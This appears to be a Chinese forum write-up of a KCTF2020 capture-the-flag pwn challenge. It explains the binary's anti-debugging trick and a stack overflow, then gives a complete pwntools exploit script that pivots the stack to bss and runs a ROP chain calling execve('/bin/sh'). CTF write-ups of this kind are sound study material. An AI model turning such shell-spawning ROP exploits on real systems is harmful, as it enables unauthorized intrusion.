-
-
[原创] KCTF2020 秋季赛 第九题 命悬一线
-
2020-12-15 00:31 6408
-
运行就提示要在docker里跑,打开main看看也没发现啥,看看init,fini。
init_array里有个函数有反调试的逻辑,检查TracerPid,如果没被调试就patch一个关键函数。这个函数没被patch的话就是个算数运算,可能导致除0异常。如果被patch的话,就会变成一个syscall。后续的ptrace,read,write都是通过调用这个syscall。
搞清楚这一点后,把这一处检查是否调试的地方patch掉。
然后,从main函数看起。
1 2 3 4 5 6 7 8 9 10 11 12 13 | __int64 __fastcall main(__int64 a1, char * * a2, char * * a3) { unsigned int v4[ 6 ]; / / [rsp + 20h ] [rbp - 30h ] unsigned __int64 v5; / / [rsp + 38h ] [rbp - 18h ] v5 = __readfsqword( 0x28u ); test_ptrace(); read_inp(v4); copy_input_to_stack(v4, input_buf_512); / / 漏洞就在这里...栈溢出 destructor(v4); sub_400DFC(); return 0LL ; } |
第一个函数判断是否能ptrace,不能的话,就可以继续运行题目,要不然就告诉你去docker。
尝试qemu就可以跑,qemu好像是没实现ptrace,所以可以过掉这个check。为了能直接调试,把这处也patch掉。
之后就是把输入读到bss。
然后把bss的输入copy到stack上。然后这里有个栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | unsigned __int64 __fastcall copy_input_to_stack(char * * a1, char * input ) { __int64 v2; / / rcx char buf_68[ 96 ]; / / [rsp + 10h ] [rbp - 70h ] unsigned __int64 v5; / / [rsp + 78h ] [rbp - 8h ] v5 = __readfsqword( 0x28u ); memset(buf_68, 0 , sizeof(buf_68)); v2 = * (a1 + 2 ); copy_from_bss(a1, buf_68, input ); ( * ( * a1 + 3 ))(a1, buf_68); / / sub_4016CC(a1, &a2) / / 作用:输出 KanXue END! return __readfsqword( 0x28u ) ^ v5; } |
但有canary,一时不知道怎么办,但一想就这么一个输入点。就测一下,发现长度大于160的时候可以控制PC了。
1 2 3 4 5 6 7 8 | .text: 0000000000401699 call copy_from_bss .text: 000000000040169E mov rax, [rbp + a1] .text: 00000000004016A2 mov rax, [rax] .text: 00000000004016A5 add rax, 18h .text: 00000000004016A9 mov rax, [rax] .text: 00000000004016AC mov rdx, [rbp + a1] .text: 00000000004016B0 mov rdi, rdx .text: 00000000004016B3 call rax |
然后因为有execve,所以getshell的方式就想着用execve起sh,但转了一圈,发现RCX比较难控制。
之后想着SROP一下,发现SROP需要的空间200大几,有点太长了,程序读超过255就会提前crash了,不太行。
然后还是找找怎么控制rcx,搜到一个这个,将就着用吧。
1 | 0x0000000000400b2b : sub ecx, dword ptr [rax - 0x77 ] ; ret |
然后就可开开心心execve了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from pwn import * context.log_level = 'debug' p = process( './pwn1_patch2' ) # gdb.attach(p,"b * 0x4016a6") leave_ret = 0x0000000000400bbd bss = 0x6020c0 pop_rdi = 0x0000000000401863 pop_rsi_r15 = 0x0000000000401861 pop_r13_r14_r15 = 0x000000000040185e sub_ecx = 0x0000000000400b2b mov_eax_rbp_0x14_pop_rbp_ret = 0x00000000004017f5 payload = p64(leave_ret) payload + = p64(bss + 0x88 + 0x14 ) payload + = p64(pop_rdi) payload + = p64( 0x3b ) payload + = p64(pop_rsi_r15) payload + = p64(bss + 8 ) payload + = p64( 0 ) payload + = p64(mov_eax_rbp_0x14_pop_rbp_ret) payload + = p64(bss + 168 ) payload + = p64( 0x4016ac ) payload = payload.ljust( 112 , 'C' ) payload + = p64( 0x6020c0 + 8 ) # rbp payload + = p64(leave_ret) payload + = p64( 0 ) payload + = p64( 0x400bbd ) payload + = '/bin/sh\x00' payload + = p64( 0x602217 ) payload = payload.ljust( 160 , 'A' ) payload + = p64(bss - 0x18 ) payload + = p64( 0x602150 + 0x14 + 8 ) # rbp payload + = p64(pop_rdi) payload + = p64( 0x3b ) payload + = p64(pop_rsi_r15) payload + = p64( 0x602150 ) # binsh addr payload + = p64( 0 ) payload + = p64(mov_eax_rbp_0x14_pop_rbp_ret) payload + = p64( 0xa8 ) payload + = p64(sub_ecx) # sub ecx, dword ptr [rax - 0x77] ; ret payload + = p64( 0x4017d0 ) # syscall p.send(payload) p.interactive() |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图